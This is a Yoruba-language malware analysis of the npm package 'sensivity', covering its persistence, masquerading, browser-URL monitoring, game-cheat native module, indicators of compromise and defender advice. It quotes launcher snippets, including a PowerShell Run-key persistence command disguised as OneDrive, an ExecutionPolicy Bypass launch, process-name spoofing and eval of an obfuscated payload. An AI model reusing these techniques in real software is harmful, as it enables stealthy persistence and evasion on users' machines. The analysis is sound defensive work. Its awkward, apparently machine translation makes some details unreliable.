TL; DR
Àpò npm ifamọ Ó ń ṣàpèjúwe ara rẹ̀ gẹ́gẹ́ bí "Pánẹ́lì Ìṣàkóso Ìfọkànsí." Lórí àwọn fóńsó, ó ń hùwà gẹ́gẹ́ bí irinṣẹ́ ìṣàkóso àti ìṣọ́nà láti ọ̀nà jíjìn.
Ibùdó ìwọlé rẹ̀, launcher.js, yí orúkọ ìlànà tirẹ̀ padà sí Runtime Broker, ó kọ iye Autostart Run-key tí a pè ní OneDriveUpdate tí ó tún ṣe àtúnṣe àkójọ náà nípasẹ̀ VBScript tí a fi pamọ́, ó mú PowerShell jáde pẹ̀lú -ExecutionPolicy Bypass, lẹ́yìn náà ó ṣe àyẹ̀wò ẹrù olupin tí ó dí 171 KB pẹ̀lú module ìbílẹ̀ 6.87 MB, sens.node.
Ó ń ṣiṣẹ́ fún ìṣàkóṣo ìbáṣepọ̀ fóònù lórí ibudo TCP 3000, ó sì ń ka URL àdírẹ́sì ẹ̀rọ aṣàwárí tí ń ṣiṣẹ́ nípasẹ̀ Windows UIAutomation, ó ń wo fídíò YouTube kan tí a fi àmì ìdámọ̀ ṣe.
A ti yan awọn apakan meji ti o ti fi silẹ tẹlẹ bi awọn apoti dudu. Olupin ti o di mimọ, server.obf.js, lo ètò obfuscator.io RC4 string-array; títún ṣe àtúnṣe decoder rẹ̀ láìsí ìsopọ̀mọ́ra (kò sí JavaScript tí a ṣe) ó gba òpin ìta kan ṣoṣo padà — https://izopi.com/check.php — pẹ̀lú kọ́kọ́rọ́ gbogbogbò RSA tí a fi sínú rẹ̀ tí a lò láti fi jẹ́rìí sí àwọn ìdáhùn ìwé àṣẹ tí a fọwọ́ sí.
Módù ìbílẹ̀, sens.node, kò sí nínú rẹ̀: tábìlì àti àwọn okùn tí a fi sínú rẹ̀ fi hàn pé ó jẹ́ DirectX 11 / Dear ImGui in-game overlay tí ó ń pese aimbot, ESP (wall-hack), àti àwọn ẹ̀yà triggerbot, tí a ń darí nípasẹ̀ abẹ́rẹ́ ìṣiṣẹ́ latọna jijin àti ìrántí tí ń kà/kíkọ.
Àwọn okùn inú rẹ̀ tọ́ka sí àwọn ohun tí ó wà nínú ọkọ̀ àti àwọn ibi tí wọ́n wà gẹ́gẹ́ bí GTA V / FiveM. Àpò npm ni àpò ìfiránṣẹ́ àti ìfaradà tí ó yí àpò ìbílẹ̀ náà ká.
Àmì ìṣàfihàn náà ń ṣiṣẹ́, kìí ṣe ti ìmọ̀-ẹ̀rọ: olùtẹ̀wé aláìlórúkọ kan ṣoṣo ti tì àwọn ẹ̀yà àádọ́rin ti àpò kan — 2.5.0 nipasẹ 2.5.69 — fún ọjọ́ díẹ̀, ọ̀kọ̀ọ̀kan wọn ní ohun èlò ìfilọ́lẹ̀ kan náà.
Ko si fifi sori ẹrọ hooks. Gbóògì náà máa ń ṣiṣẹ́ nígbà tí a bá bẹ̀rẹ̀ àpò náà.
Ikọlu naa: Bawo ni O Ṣe Nṣiṣẹ
Sensivity ń fi àwọn fáìlì mẹ́wàá ránṣẹ́. Package.json kò pọ̀ tó: kò sí pápá ibi ìpamọ́, kò sí ìwé àṣẹ, orúkọ pàtàkì àti méjì bin (sensivity, sens) gbogbo wọn ń tọ́ka sí launcher.js, àti ìwé ìbẹ̀rẹ̀ ti node launcher.js. Kò sí postinstall tàbí preinstall. Kò sí ohunkóhun tó ń jó lórí npm install. Ìwà tí a ṣàlàyé ní ìsàlẹ̀ yìí ń ṣiṣẹ́ nígbà tí olùlò bá bẹ̀rẹ̀ package náà — nípasẹ̀ bin shim, ìwé ìbẹ̀rẹ̀, tàbí ìbéèrè.
Bọ́ọ̀lù ìtàgé náà ní ohun èlò ìfàsẹ́yìn, olupin tí ó díjú, module ìbílẹ̀, ìwé àfọwọ́kọ Visual Basic, àti ìwé àkójọpọ̀/wẹ́ẹ̀bù fún pánẹ́lì ìṣàkóso. launcher.js ni orchestrator tí ó ṣeé kà; ọgbọ́n tí ó ṣe pàtàkì ní àkókò ìṣiṣẹ́ ń gbé nínú àwọn blób méjì tí ó ń gbé sókè — olupin tí ó díjú àti module ìbílẹ̀ tí a kó jọ, méjèèjì ni a ti yanjú ní ìsàlẹ̀.
Ìbòjú ìṣiṣẹ́ àti ẹ̀rọ ìtúnṣe OneDrive èké
Ní ìbẹ̀rẹ̀ execution launcher.js, orúkọ ilana tirẹ̀ ni a máa ń pè ní ìgbà méjì:
javascript process.title = 'Runtime Broker'; Runtime Broker jẹ́ ìlànà Windows tó tọ́ (RuntimeBroker.exe) tó ń ṣe àtúnṣe àwọn àṣẹ ìṣàfilọ́lẹ̀. Rírọ orúkọ ìlànà Node láti bá a mu túmọ̀ sí wíwo Task Manager kíákíá kò fi hàn pé ó jẹ́ ohun àjèjì.
A kọ ìfaradà nípasẹ̀ PowerShell dípò API ìforúkọsílẹ̀ tààrà:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); A pe iye ibẹrẹ laifọwọyi ni OneDriveUpdate, ko si tọka si package taara. O tọka si wscript.exe ti o nṣiṣẹ OneDrive.Standalone.Updater.vbs ti a so pọ mọ. Iwe afọwọkọ yẹn tun ṣe ifilọlẹ node launcher.js ni window ti o farasin. Orukọ bọtini Run ati orukọ faili VBScript ya ami iyasọtọ Microsoft, nitorinaa titẹsi ibẹrẹ laifọwọyi ka bi iṣẹ-ṣiṣe OneDrive deede.
PowerShell pẹlu ilana ipaniyan-igbese
Ohun tí a fi ń gbé e jáde máa ń lo PowerShell léraléra. Skin tí àwọn ẹ̀rọ ìṣàyẹ̀wò fi hàn pé ó ṣe pàtàkì ni ìfilọ́lẹ̀ .ps1 tí a ṣẹ̀dá pẹ̀lú ìlànà ìṣe tí a ti parẹ́:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Ìgbésẹ̀ Ìpolówọ́ ExecutionPolicy Bypass mú àyẹ̀wò ìfọwọ́sí-ìwé àdúgbò kúrò fún ìpè yẹn. Àwọn ìkọ̀wé tí a ṣẹ̀dá ń bójútó iṣẹ́ ìṣàyẹ̀wò-browser-safety àti window-detection tí a ṣàlàyé ní abala tí ó tẹ̀lé.
Ẹ̀rọ ìpamọ́ àti módù ìbílẹ̀ náà
Lẹ́yìn tí o bá ti ṣètò, launcher.js yóò kó ẹrù rẹ̀ jọ, yóò sì ṣe iṣẹ́ rẹ̀:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js jẹ́ 171 KB ti _0x-array obfuscation — ìlànà JavaScript níbi tí a ti fi àtọ́ka rọ́pò gbogbo okùn àti ìdámọ̀ sí array shuffled kan, lẹ́yìn náà a ti yọ ìtọ́kasí kúrò ní àkókò ìṣiṣẹ́. Ètò náà ni ìyàtọ̀ RC4 tí obfuscator.io ṣe: iṣẹ́ decoder kan ṣoṣo base64-ń ṣe àtúnṣe ìkọsílẹ̀ array kan lẹ́yìn náà RC4-ń ṣe àtúnṣe rẹ̀ pẹ̀lú kọ́kọ́rọ́ ìpè kọ̀ọ̀kan. Títúnṣe decoder yẹn ṣe nínú ìwé àkọsílẹ̀ mìíràn — tí ń ṣiṣẹ́ àtúnṣe lórí array okùn 821-entry tí a yọ jáde nìkan, kì í ṣe JavaScript ti package fúnra rẹ̀ — ń tú u sílẹ̀ ní mímọ́. Àwọn ojú tí ó wà ní ìwọ̀nba ṣùgbọ́n decisive: URL ita kan, https://izopi.com/check.php`, tí a yàn sí LICENSE_URL tí ó dúró ṣinṣin; RSA PUBLIC_KEY_PEM` tí a fi sínú rẹ̀; àwọn ipa ọ̀nà pánẹ́lì àdúgbò /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, àti /trigger/status; àti àwọn strings child_process, crypto, àti [Sensivity] sens.node tí a fi sínú rẹ̀ — èyí tí ó kẹ́yìn ni ìlà log gangan tí olùgbékalẹ̀ náà ń kọ sí module ètò tí a fi sínú rẹ̀. Ìparí point ni àyẹ̀wò ìwé-àṣẹ: oníbàárà náà ń fi àmì ìdámọ̀ kan ránṣẹ́ (ẹ̀rọ ìdènà tí a fi sínú rẹ̀ ṣe àkójọ Discord ID: %s string) àti kọ́kọ́rọ́ RSA ń fìdí ìdáhùn olupin náà múlẹ̀.
sens.node jẹ́ àfikún ìbílẹ̀ 6.87 MB tí a ṣe àkójọpọ̀ rẹ̀, kò sì ní àkójọpọ̀ — entropy apá kan wà ní 5.6–6.6 àti pé àwọn tábìlì ìkówọlé àti ìkójáde PE wà ní ipò pípé, nítorí náà àwọn agbára rẹ̀ ṣeé kà ní tààràtà. Ó ń kó napi_register_module_v1 jáde, standard Ààyè ìforúkọsílẹ̀ Node N-API, nítorí náà olupin eval'd gbé e kalẹ̀ pẹ̀lú ohun tí ó rọrùn. Àtẹ ìforúkọsílẹ̀ rẹ̀ ni tell. Láti KERNEL32 ó fa OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, àti Process32First/NextW — àkójọpọ̀ ìṣètò fún wíwá ìlànà mìíràn, pípín ìrántí sínú rẹ̀, àti kíkà tàbí kíkọ ìrántí náà. Láti USER32 ó fa GetAsyncKeyState, GetKeyState, mouse_event, àti SetCursorPos; ó so d3d11.dll, D3DCOMPILER_43, àti dwmapi pọ̀ fún àfikún ìbòjú, àti àkójọpọ̀ WINHTTP fún àwọn ìpè nẹ́tíwọ́ọ̀kì. Àwọn okùn tí a fi sínú rẹ̀ lórúkọ àwọn ohun èlò tí a ṣètò láìsí àìdájú: Mu Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat tí a rí, àti àsíá Dear ImGui Dear ImGui 1.91.3 WIP. Ipò àti àwọn okùn bíi Grapeseed Medical Clinic àti ọ̀rọ̀ ọkọ̀-ESP bá GTA V / FiveM mu.
Pínpín náà jẹ́ àmọ̀ọ́mọ̀ ní lílo: launcher.js tí a lè kà nìkan ni ó ní àwọn ẹ̀yà tí scanner kan lè kà ní irọ̀rùn — ìfaradà, ìbòjú, ìpè eval fúnra rẹ̀ — nígbà tí ìbòjú náà fi àwọn olùbáṣepọ̀ ìgbà ìṣiṣẹ́ kan pamọ́ ní ìta, àti binary náà di ìlànà ìṣàpẹẹrẹ eré àti ìṣiṣẹ́-ìṣiṣẹ́ mú. Olùgbékalẹ̀ náà jẹ́ ìkarahun tín-tín, tí a lè ṣàyẹ̀wò; olupin tí a ti bò mọ́lẹ̀ ń fi ìdámọ̀ nẹ́tíwọ́ọ̀kì pamọ́; module ìbílẹ̀ ni ẹrù iṣẹ́. A ṣàpèjúwe àwọn ìgbékalẹ̀ àti okùn binary gẹ́gẹ́ bí a ti kà á; a kò fi ète oníṣẹ́ náà hàn láti inú wọn.
Pánẹ́lì ìṣàkóso ìbáṣepọ̀ fóònù lórí ibudo 3000
Ohun èlò ìfilọ́lẹ̀ náà ń ṣàkóso olupin wẹ́ẹ̀bù kan ní agbègbè lórí ibudo TCP 3000 ó sì ń lò ó gẹ́gẹ́ bí ohun èlò orin kan. Ó ń béèrè fún olùgbọ́ kan tí ó wà tẹ́lẹ̀ ó sì ń pa á rẹ́ kí ó tó di mọ́ra:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); A le de ọdọ panẹli naa ni http://localhost:3000, pẹlu URL LAN ti o ni koodu lile ti http://192.168.1.16:3000. Itọsọna gbogbogbo/ ati ihuwasi panẹli naa wa ni ibamu pẹlu sisan asopọ-QR: foonu kan n wo koodu kan o si so mọ olugbalejo naa bi latọna jijin. Ko si agbegbe aṣẹ-ati-iṣakoso ita ti o han ni cleartext ninu ifilọlẹ naa - ṣugbọn, bi deabfuscation loke ti fihan, ọkan wa ninu olupin ti o ni aabo: opin aaye iwe-aṣẹ izopi.com. Panẹli funrararẹ jẹ agbegbe ati LAN-scope; olugbalejo ti o jade nikan ni ayẹwo iwe-aṣẹ yẹn.
Àwòṣe olùtọ́jú/oṣiṣẹ́ tí a yà sọ́tọ̀ máa ń jẹ́ kí iṣẹ́ náà wà láàyè. Ohun èlò ìfilọ́lẹ̀ náà tún ń yọ ara rẹ̀ jáde pẹ̀lú àwọn àsíá àyíká SENSIVITY_SUPERVISOR àti SENSIVITY_WORKER, ọmọ kọ̀ọ̀kan ń sáré pa mọ́, nítorí náà pípa ìlànà kan ṣoṣo máa ń jẹ́ kí olùṣọ́ tún bẹ̀rẹ̀ iṣẹ́ náà.
Ìṣọ́ Aṣàwárí Ẹ̀rọ Alágbékalẹ̀ àti Àmì YouTube
Ìwà tó ṣe pàtàkì jùlọ ni monitoring browser. launcher.js ń kọ́ PowerShell tó ń wakọ Windows UIAutomation láti ka àdírẹ́sì browser tó ń ṣiṣẹ́:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern dá àkóónú ọ̀rọ̀ inú ohun èlò UI padà. Tí a bá lò ó fún ìṣàkóso àtúnṣe àdírẹ́sì ibi ìṣàtúnṣe ẹ̀rọ a ...
A dán URL yẹn wò sí ibi-afẹ́de kan ṣoṣo tí a fi àmì ìdámọ̀ ṣe:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; A máa ń ṣe àyẹ̀wò lórí ìṣẹ́jú-àáyá mẹ́ta fún fèrèsé ẹ̀rọ aṣàwárí tí ó ń fi YouTube hàn, PowerShell tí a ṣẹ̀dá náà sì ní Get-YouTubeBrowser / Test-TargetYouTubeUrl méjì tí ó bá ID fídíò náà mu. Àṣeyọrí tí a lè rí jẹ́ méjì: a máa ń ka URL ìṣàwárí tí ń ṣiṣẹ́ lórí ìbòjú ẹni tí ó farapa, a sì máa ń rí ìbáṣepọ̀ olùgbàlejò pẹ̀lú fídíò YouTube kan pàtó. A máa ń ṣàlàyé bí a ṣe ń ṣe é àti ibi tí a fẹ́ dé; a kò sọ ìdí tí a fi ń ṣe é.
Àkàwé àdírẹ́sì ni ohun tí ẹ̀rọ ìwádìí náà fi àmì sí sensitive_data_enumeration — Process::env àti UIAutomation orísun tí ó ń fún àkókò ìṣiṣẹ́ tí ó lè ṣiṣẹ́ lórí nẹ́tíwọ́ọ̀kì. Ó dàbí ẹni tí kò ní ìṣòro, ó sì máa ń yanjú sí ìṣọ́ra nígbà tí a bá tọ́pasẹ̀ ìgbésí ayé dátà láti orísun UIAutomation sí olupin tí a ti bò mọ́lẹ̀.
Àkókò àti Ẹ̀yà Ìdàgbàsókè
Ìmọ́lára kìí ṣe ìgbéjáde kan ṣoṣo. Àkọọ́lẹ̀ olùtẹ̀wé náà ní nǹkan bí àádọ́rin àwọn ẹ̀yà tí a tẹ̀ jáde ti àpò kan ṣoṣo yìí, àwọn tuntun sì ń dé nígbà tí a ń ṣe àtúnyẹ̀wò. Olùgbéjáde náà ń mú kí ẹ̀yà ara rẹ̀ pọ̀ sí i ní gbogbo ìlà 2.5.x nígbà tí ìfaradà àti ìṣiṣẹ́ rẹ̀ dúró ṣinṣin.
| Ọjọ́ (UTC) | Àwọn ẹ̀yà tí a ṣàkíyèsí | Ipò olùfilọ́lẹ̀ |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Ipilẹ̀ṣẹ̀ QR-panel ipilẹ; ìfaradà bọtini-ṣiṣe; ìṣàyẹ̀wò olupin ti o dina. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Ìka ìka kan náà; ìdènà ìtọ́pasẹ̀ kọ̀ǹpútà. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Àwọn àfikún àfojúsùn ìbáṣepọ̀ YouTube tí a fi síta wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Àtúntò àfikún àlàfo káàkiri àwọn ibi tí a ti ń ṣe iṣẹ́ náà; olùtọ́jú/olùṣọ́ òṣìṣẹ́. |
Kíkà ohun èlò ìfilọ́lẹ̀ náà káàkiri àwọn aṣojú tí a gbà sílẹ̀ — 2.5.0, 2.5.36, àti 2.5.69 — fi àwọn ìpele mẹ́rin hàn. Àwọn ìkọ́lé àkọ́kọ́ náà ní ohun èlò ìfilọ́lẹ̀ QR-pairing ipile. Láti 2.5.33 UIAutomation address-bar harvester farahàn. Láti 2.5.58 a fi ìpele ìṣàkóso olùṣàkóso kún un. Láti 2.5.64, olùtọ́jú/oṣiṣẹ́ tí a yà sọ́tọ̀ yóò parí ètò náà. Jálẹ̀, àwọn nǹkan mẹ́rin kò yípadà: kọ́kọ́rọ́ OneDriveUpdate Run, ohun èlò OneDrive.Standalone.Updater.vbs dropper, ohun èlò eval'd server.obf.js, àti module sens.node native.
Ìgbì 2026-06-05 ṣe pàtàkì nítorí pé ó tún ṣe àtúntẹ̀ àwọn nọ́mbà àtúnṣe kékeré náà — 2.5.0 sí 2.5.15 — tí ó wà ní ìsàlẹ̀ àwọn àtúnṣe tí a ti fìdí rẹ̀ múlẹ̀ ní ọjọ́ díẹ̀ sẹ́yìn. Àbájáde náà jẹ́ ìlà 2.5.x kan tí ó wà ní ìforúkọsílẹ̀, gbogbo àtúnṣe náà ní ohun èlò ìfiranṣẹ́ kan náà.
Awọn afihan ti adehun
Gbogbo àwọn àmì ìsàlẹ̀ yìí ni a kà tààrà láti inú àpò tarball náà. Ohun èlò tí a lè kà náà ní loopback àti àdírẹ́sì LAN ìkọ̀kọ̀ kan ṣoṣo; orúkọ host kan ṣoṣo tí ó wà ní ìta, izopi.com, ni a gbà padà nípa lílo deobfuscating server.obf.js láìsí ìsopọ̀mọ́ra.
| iru | Atọka | awọn akọsilẹ |
|---|---|---|
| package | npm:sensivity (≈70 awọn ẹya, 2.5.0-2.5.69) | Olùtẹ̀wé àpò kan ṣoṣo; kò sí ibi ìpamọ́; kò ní ìwé àṣẹ. |
| faili | launcher.js | Olùṣètò orin tí a lè kà; ibi tí a fẹ́ kó àwọn ohun èlò orin àti àpótí ìfọ́mọ́. |
| faili | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, ti a ti kojọpọ nipasẹ eval(fs.readFileSync(...)). |
| faili | sens.node (≈6.87 MB) | PE32+ x86-64 Àfikún N-API Nọ́mbà; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| faili | OneDrive.Standalone.Updater.vbs | Atunṣe atunlo ti o farasin (node launcher.js). |
| Network | https://izopi.com/check.php | Àkójọpọ̀ ìwé àṣẹ/ìfọwọ́sí tí a rí gbà láti inú ẹ̀rọ ìpamọ́ tí a ti bò mọ́lẹ̀; kọ́kọ́rọ́ gbogbogbò RSA tí a fi sínú rẹ̀ ń fìdí àwọn ìdáhùn múlẹ̀. |
| Agbara | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Agbara abẹrẹ latọna jijin ati iranti kika/kikọ. |
| Agbara | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui overlay game tí ó ń ṣe àwọn ẹ̀yà aimbot, ESP, àti triggerbot. |
| Iforukọsilẹ | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Iye ibẹrẹ laifọwọyi ti o n tọka si wscript.exe àti ohun èlò VBScript. |
| ilana | process.title = 'Runtime Broker' | Ó ń fi ara hàn gẹ́gẹ́ bí ìlànà Windows Runtime Broker tó tọ́. |
| Agbegbe | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ìgbésẹ̀ ìlànà ìṣiṣẹ́ tí a lò fún àwọn ìwé àfọwọ́kọ PowerShell tí a ṣẹ̀dá. |
| Agbegbe | UIAutomation ValuePattern ka ti ọpa adirẹsi aṣàwákiri | Ó ka URL ti fèrèsé ẹ̀rọ ìṣàwárí iwájú. |
| Agbegbe | ID fidio afojusun wJWta2lO0Lw; Ìwádìí ìṣẹ́jú-àáyá mẹ́ta lórí YouTube | Àmì ìṣàyẹ̀wò ìfọwọ́sowọ́pọ̀ tí a so mọ́. |
| Network | http://localhost:3000, ìfàsẹ́yìn http://192.168.1.16:3000 | Pẹpẹ iṣakoso asopọ QR ti a fihan ni agbegbe ati lori LAN. |
| ayika | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Àwọn àsíá ìṣètò ìlànà olùṣọ́ tí a yà sọ́tọ̀. |
Ìfipamọ́, Ìpalára, àti Àwọn Olùgbèjà
Àkọọ́lẹ̀ npm kan ṣoṣo tí ìmeeli tí a kọ síta jẹ́ àdírẹ́sì Gmail tí a kò tíì fìdí rẹ̀ múlẹ̀ ni a tẹ̀ jáde. Àkọọ́lẹ̀ náà ní àmì orúkọ rere ìforúkọsílẹ̀ tí kò dára gidigidi, ó ń tọ́jú àti ń tẹ̀jáde àkójọ yìí nìkan, kò sì ní ibi ìpamọ́ orísun tí a so pọ̀. A kò tíì fìdí rẹ̀ múlẹ̀ pé òun ni ímeeli náà, a sì fi ìpolongo náà sí àkọọ́lẹ̀ olùtẹ̀wé, kì í ṣe sí ẹnikẹ́ni tí a dárúkọ. Olùgbékalẹ̀ náà kò ní ètò ìṣiṣẹ́ cleartext, ṣùgbọ́n a ti mọ olùgbàlejò kan ṣoṣo ní ìta báyìí: àwọn olùbáṣepọ̀ tí a ti bò mọ́lẹ̀ sí izopi.com fún àyẹ̀wò ìwé àṣẹ, àti module ìbílẹ̀ — tí a kà láti inú tábìlì àti àwọn okùn rẹ̀ dípò kí ó jẹ́ ìtọ́ni-nípasẹ̀-ìtọ́ni tí a yí padà — jẹ́ àfikún eré tí ó ń fi sínú àti ka ìrántí ìlànà mìíràn.
Ipa tí a lè rí yóò wà lórí àwọn olùlò Windows tí wọ́n ń fi ìmọ̀lára sí i tí wọ́n sì ń ṣiṣẹ́ pẹ̀lú ìfarahàn tí wọ́n ń retí ohun èlò ìṣàkóso-pánẹ́lì. Lórí àwọn ibùdó wọ̀nyẹn, àpò náà ń fi ìfarahàn ìbẹ̀rẹ̀ aládàáni hàn gẹ́gẹ́ bí iṣẹ́ OneDrive, ó ń sọ orúkọ ara rẹ̀ di ọ̀kan láti fara wé ìlànà ètò kan, ó ń ka URL ohunkóhun tí olùlò ń wò kiri, ó sì ń dúró sí pánẹ́lì ìsopọ̀ kan tí ó so ẹ̀rọ náà mọ́ ìsopọ̀ lórí nẹ́tíwọ́ọ̀kì àdúgbò. Olùtọ́jú/oṣiṣẹ́ túmọ̀ sí pé pípa ìlànà kan ṣoṣo kò yọ ọ́ kúrò; ìtẹ̀síwájú Run-key yóò yege àtúnbọ̀. macOS àti Linux kò ní ìfọkànsí nípasẹ̀ olùgbékalẹ̀ — àwọn ipa ọ̀nà ìfaradà, PowerShell, àti UIAutomation jẹ́ Windows-nìkan.
Ìyípadà àtúnṣe ẹ̀yà àádọ́rin ni àṣà tó yẹ kí a fi àmì sí. Títún àpò kan ṣe ní ọ̀pọ̀lọpọ̀ ìgbà ní ọjọ́ díẹ̀, pẹ̀lú àwọn nọ́mbà àtúnṣe àtúnṣe tí ó wà ní ìsàlẹ̀ àwọn tí a ti yọ kúrò, ó ń pa àwòkọ kan mọ́ lórí ìforúkọsílẹ̀ láàrín àwọn yíyọkúrò àti ìjákulẹ̀ àwọn àkójọpọ̀ ìdènà tí a fi ẹ̀yà ṣe. Ìkọ̀wé àkójọpọ̀ ìdènà fún sensivity@2.5.61 kò ṣe ohunkóhun lòdì sí sensivity@2.5.3 ní ọjọ́ kejì.
Àwọn olùgbèjà lè ṣe àwọn nǹkan wọ̀nyí:
- Dína àmì orúkọ àkójọpọ̀ náà ní tààràtà nínú àwọn àkójọ ìforúkọsílẹ̀ àti àwọn àkójọ ìyọ̀nda CI. Pípín àwọn ẹ̀yà kọ̀ọ̀kan pàdánù sí àtúntẹ̀ ìtẹ̀jáde náà; orúkọ náà ni àmì tí ó dúró pẹ́.
- Wá iye Run kan tí a ń pè ní OneDriveUpdate tí dátà rẹ̀ ń pe wscript.exe lòdì sí .vbs ní ipa ọ̀nà olùlò kọ̀ọ̀kan. A kò forúkọ OneDrive tó jẹ́ ojúlówó sílẹ̀ ní ọ̀nà yìí.
- Ìkìlọ̀ lórí ìlànà Node.js tí orúkọ rẹ̀ jẹ́ Runtime Broker.exe ni olùtajà gidi, kìí ṣe Node runtime.
- Ṣe àmì sí àwọn ìfipamọ́ àkókò ìfipamọ́ npm tí wọ́n ń fi àfikún .node tí a kó jọ pẹ̀lú eval(fs.readFileSync(…)) ti fáìlì .obf.js kan hàn. Ìsopọ̀ yẹn — àìṣeéṣe ìrísí binary tí a gbé kalẹ̀ lẹ́gbẹ̀ẹ́ ìwúwo ọ̀rọ̀ tí ó díjú — ni ìwífún ìṣètò níbí, láìsí èyíkéyìí okùn IOC.
- Ṣe àkíyèsí ẹnikẹ́ni tó bá ń gbọ́ ohùn ní agbègbè lórí ibudo 3000 tí ìlànà Node tí a kò retí bá yọ jáde gẹ́gẹ́ bí ẹni tí a fura sí lórí àwọn ẹ̀kún Windows tí a ń ṣàkóso.
- Dínà tàbí kí o kìlọ̀ fún àwọn ìbéèrè tí ń jáde lọ sí izopi.com láti ọ̀dọ̀ àwọn olùgbàlejò olùgbéjáde tàbí àwọn olùlò ìkẹyìn; òun ni òpin ìta ti àpò náà, tí a dé sí /check.php láti ọ̀dọ̀ olupin tí a ti dí mọ́lẹ̀.
- Fún àfikún .node èyíkéyìí tí a so pọ̀, ṣàyẹ̀wò tábìlì ìfàsẹ́yìn rẹ̀ kí o tó gbẹ́kẹ̀lé e. Ìdàpọ̀ OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread jẹ́ ìfàsẹ́yìn ìlànà ìfàsẹ́yìn láìka ohun tí ìfàsẹ́yìn náà sọ pé ó ń ṣe sí; níbí ni ó wà lẹ́gbẹ̀ẹ́ ìbòrí Direct3D àti àwọn okùn aimbot/ESP/triggerbot.
Fún ìṣàyẹ̀wò àìdúró pipelines, apẹrẹ ìdánilójú náà le koko jákèjádò ìyípadà ẹ̀yà náà: profaili fifi sori ẹrọ ti kii ṣe nẹtiwọọki, ipinfunni akọle ilana si orukọ ilana eto ti a mọ, kikọ bọtini Run nipasẹ PowerShell, ati eval ti faili ti a ka lati inu disiki. Ko si ọkan ninu awọn wọnyẹn ti o da lori agbegbe kan, IP kan, tabi nọmba ẹya ti a tun ṣe atẹjade ti o tẹle le yi kuro.
jo
[npm: ìmọ̀lára] – ojú ìwé ìforúkọsílẹ̀ fún ìlà ẹ̀yà àkójọpọ̀ tí a jíròrò níbí; ó lè yọ kúrò.
